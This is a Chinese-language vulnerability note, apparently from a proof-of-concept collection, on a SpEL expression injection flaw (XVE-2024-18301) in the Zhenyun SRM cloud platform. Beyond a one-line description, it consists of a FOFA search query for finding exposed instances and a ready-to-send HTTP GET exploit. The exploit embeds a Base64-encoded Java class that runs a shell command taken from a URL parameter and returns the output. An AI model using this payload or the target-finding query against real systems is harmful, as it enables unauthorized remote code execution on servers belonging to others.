甄云SRM云平台SpEL表达式注入漏洞(XVE-2024-18301).md

甄云SRM云平台SpEL表达式注入漏洞(XVE-2024-18301)

甄云SRM平台存在SpEL表达式注入漏洞，该漏洞源于系统能够解析/oauth/public/后路径中的SpEL表达式，导致攻击者能够利用该漏洞执行任意代码。

fofa

body="/oauth/static/default/css/footer.css"

poc

GET /oauth/public/%5f%5f%24%7bT(groovy.lang.GroovyClassLoader).newInstance().defineClass('CALC',T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('yv66vgAAADQAqwoAJABOCgBPAFAHAFEKAAMAUgoAAwBTCwBUAFUIAD8LAFYAVwcAWAoAWQBaCgBbAFwKAAkAXQgAXgoAXwBgCgAJAGEIAGIKAAkAYwgAZAgAZQgAZggAZwoAaABpCgBoAGoKAGsAbAcAbQoAGQBuCABvCgAZAHAKABkAcQoAGQByCABzCgB0AHUKAHQAdgoAdAB3BwB4BwB5AQAGPGluaXQ%2bAQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAB2lzTGludXgBAAFaAQAFb3NUeXABABJMamF2YS9sYW5nL1N0cmluZzsBAARjbWRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAmluAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQABcwEAE0xqYXZhL3V0aWwvU2Nhbm5lcjsBAAZvdXRwdXQBAAR0aGlzAQAGTENBTEM7AQACc3IBAEJMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1NlcnZsZXRSZXF1ZXN0QXR0cmlidXRlczsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQALcHJpbnRXcml0ZXIBABVMamF2YS9pby9QcmludFdyaXRlcjsBAAh1c2VybmFtZQEADVN0YWNrTWFwVGFibGUHAHgHAFEHAHoHAHsHAHwHAFgHAC8HAH0HAG0BAApFeGNlcHRpb25zBwB%2bAQAKU291cmNlRmlsZQEACUNBTEMuamF2YQwAJQAmBwBxxxxDACAAIEBAEBvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvU2VydmxldFJlcXVlc3RBdHRyaWJ1dGVzDACCAIMMAIQAhQcAewwAhgCHBwB6DACIAIkBABBqYXZhL2xhbmcvU3RyaW5nBwCKDACLAI4HAI8MAJAAkQwAJQCSAQAHb3MubmFtZQcAkwwAlACJDACVAJYBAAN3aW4MAJcAmAEAAnNoAQACLWMBAAdjbWQuZXhlAQACL2MHAJkMAJoAmwwAnACdBwCeDACfAKABABFqYXZhL3V0aWwvU2Nhbm5lcgwAJQChAQACXGEMAKIAowwApAClDACmAJYBAAAHAHwMAKcAqAwAqQAmDACqACYBAARDQUxDAQAQamF2YS9sYW5nL09iamVjdAEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEAE2phdmEvaW8vUHJpbnRXcml0ZXIBABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAPG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0Q29udGV4dEhvbGRlcgEAFGdldFJlcXVlc3RBdHRyaWJ1dGVzAQA9KClMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzOwEACmdldFJlcXVlc3QBACkoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAqKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvdXRpbC9CYXNlNjQBAApnZXREZWNvZGVyAQAHRGVjb2RlcgEADElubmVyQ2xhc3NlcwEAHCgpTGphdmEvdXRpbC9CYXNlNjQkRGVjb2RlcjsBABhqYXZhL3V0aWwvQmFzZTY0JERlY29kZXIBAAZkZWNvZGUBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAFKFtCKVYBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQAFY2xvc2UAIQAjACQAAAAAAAEAAQAlACYAAgAnAAACGAAEAAwAAADZKrcAAbgAAsAAA0wrtgAETSu2AAVOLbkABgEAOgQsEge5AAgCADoFGQXGAKW7AAlZuAAKGQW2AAu3AAw6BQQ2BhINuAAOOgcZB8YAExkHtgAPEhC2ABGZAAYDNgYVBpkAGQa9AAlZAxISU1kEEhNTWQUZBVOnABYGvQAJWQMSFFNZBBIVU1kFGQVTOgi4ABYZCLYAF7YAGDoJuwAZWRkJtwAaEhu2ABw6ChkKtgAdmQALGQq2AB6nAAUSHzoLGQQZC7YAIBkEtgAhGQS2ACIZBLYAIRkEtgAisQAAAAMAKAAAAFoAFgAAAAwABAAOAAsADwAQABAAFQARAB0AEwAnABQALAAWAD0AGABAABkARwAaAFkAGwBcAB4AjAAfAJkAIACpACEAvQAiAMQAIwDJACQAzgAnANMAKADYACkAKQAAAHoADABAAI4AKgArAAYARwCHACwALQAHAIwAQgAuAC8ACACZADUAMAAxAAkAqQAlADIAMwAKAL0AEQA0AC0ACwAAANkANQA2AAAACwDOADcAOAABABAAyQA5ADoAAgAVAMQAOwA8AAMAHQC8AD0APgAEACcAsgAxxxxAC0ABQBAAAAATQAGxxxxwBcAAgHAEEHAEIHAEMHAEQHAEUHAEYBBwBGAAAaUgcARxxxx4ALgcARwcASAcASUEHAEbxxxxABIABgcAQQcAQgcAQwcARAcARQcARgAAAEoAAAAEAAEASwACAEwAAAACAE0AjQAAAAoAAQBbAFkAjAAJ'.replace('xxxx',new%20String(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('Lw=='))))).newInstance()-1%7d%5f%5f%3a%3a%78/ab?username=aWQ= HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive

漏洞来源

• https://mp.weixin.qq.com/s?__biz=MzkyNDY3MTY3MA==&mid=2247485822&idx=1&sn=d8c7be2cc93bee896585fe8e7a1fab40